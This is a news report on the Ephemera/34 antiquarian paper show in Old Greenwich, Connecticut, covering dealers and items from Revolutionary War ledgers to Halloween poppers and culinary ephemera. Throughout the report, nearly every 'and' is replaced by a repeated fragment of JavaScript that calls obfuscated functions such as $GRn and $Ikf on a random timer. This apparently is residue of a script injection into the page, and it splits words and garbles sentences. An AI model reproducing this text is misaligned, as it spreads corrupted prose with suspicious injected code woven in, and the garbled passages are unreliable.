By: David S. Smith

OLD GREENWICH, CONN. — The Ephemera Society of America presented Ephemera/34, a longstandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anding andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and well-respected series of seminars andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a show over the weekend of March 14. The three-day event touts “Antiquarian andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Collectible Paper for Everyone,” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the group is true to its word. Large displays of important historical documents, photographs andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and other materials ranging from the Revolutionary War period through modern times were offered, along with a huge selection of advertising, posters, Valentine’s Day cards, salesman’s displays, prints, books andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and original works on paper.

If there was an item made of paper or on paper that you were looking for, there was a very good chance it was at Ephemera/34. There was also a huge variety of extremely appealing visual material that you had no clue that you were looking for, many in crossover collecting categories, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and much of it went home with collectors. Such was the case with one jazz aficionado at the show, also a huge fan of Dave Brubeck, who collects original vinyl records. The shopper was enthralled to find a promotional booklet from one of Brubeck’s early albums printed in a colorful Modernist style that is now destined to be framed andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and hung in the audiophile’s listening room.

Promoters John andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Tina Bruno, Flamingo Eventz, were on handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and to welcome shoppers to the early buying session of the show that began at 9 am. A long line of Ephemera Society attendees were granted access to the show an hour prior to the public opening an hour later. Buying on the floor was brisk, especially in the standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and of Jean’s Books, Hatfield, Penn., where a stellar selection of wonderfully illustrated early children’s books are always available.

Dealer Jean Kulp was busy from the moment the show opened, helping customers with items that included an unused swatch of imprinted material featuring Palmer andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Cox Brownie figures, front andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and rear images that would have been cut out, stuffed andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sewn together to make children’s dolls. Early books with colorful illustrations, including many first edition examples, were also offered, including an early printing of The 500 Hats of Bartholomew Cubbins by Dr Seuss.

Peter Blackman, White Fox Rare Books, Windsor, Conn., offered a grandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and selection of items that ranged from a Japanese toy company’s trade catalog featuring colorful Japanese masks in the original box to a pictorial promotional book produced by Paramount in 1925 that featured the studio’s lineup of stars, such as Harold Lloyd, Gloria Swanson andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and W.C. Fields.

“I love Halloween stuff,” proclaimed dealer Dale Vargason, Waylandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, N.Y., as he pointed toward a set of bright orange Halloween paper poppers that remarkably still retained its original box.

At Jeffery Marks, Rochester, N.Y., there was a rare set of Schrafft’s countertop displays that consisted of an entire 1920s-era baseball team. “It is rare to find a complete set with all nine players,” commented the dealer. A roadside sign from the 1920s advertising a clothing store with a humorous cigar-smoking, well-dressed figure was offered, along with a well-done watercolor of an early locomotive andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and tender that the dealer was not sure if it had been “done by the artist for himself or executed for publication.”

A nice set of Rockwell Kent-illustrated boxed volumes of The Complete Works of William Shakespeare was at Dennis Holzman, Cohoes, N.Y. Also attracting attention was a Parker Bros Spanish American War-themed puzzle titled “Roosevelt’s Charge” that the dealer had framed with the box top appearing above the completed puzzle. “Something a little more macabre is this 1910 photograph depicting a somber-looking professor with ten students gathered around a partially dissected cadaver,” stated the dealer.

The Revolutionary War manuscript store accounts for Washington’s headquarters at Newburgh, N.Y., marked “Ledger for stores sold or delivered by Jos. Browne, Storekeeper, 1782,” was offered by Robert Fraker, Savoy Books, Lanesboro, Mass. The ledger featured highly interesting accounts recording wartime requisitions andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and prices for items such as tools, tents, wagons andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and cannon from nearly 150 soldiers, including Washington’s aide-de-camp Colonel David Humphries.

“It is amazing that these survived in the archives of Clayton andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Bell throughout the World War I bombings in London,” proclaimed dealer Ari Millner of a series of original design drawings for the stained glass windows produced by the company. Seen at Prints Charming, SoHo, N.Y., the circa 1900–1930 drawings included a window design for St Albans andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and another for Queen Esther.

“We specialize in all things culinary within the ephemera field, everything that surrounds the field of food andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and drink,” stated dealer Donald Lindgren of Rabelais, Thought For Food, Biddeford, Maine. Among the assortment offered was an animated cocktail recipe book, circa 1930, cookbooks, colorful labels, as well as a large selection containing the vast majority of printed recipe books from the various Shaker communities.

A $2,000 reward was offered in 1866, according to a broadside, for the recovery andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and arrest of “four men in disguise… that forcibly plundered andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and robbed the home… andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and threatened the lives of the inmates with revolvers.” Bonds, a gold watch, a gold pencil andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a diamond ring were among the take for which the reward was $1,000 for the return of the stolen items andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and $250 apiece for the apprehension of the robbers. The broadside was one of many at Thomas Cullen, Orchard Park, N.Y.

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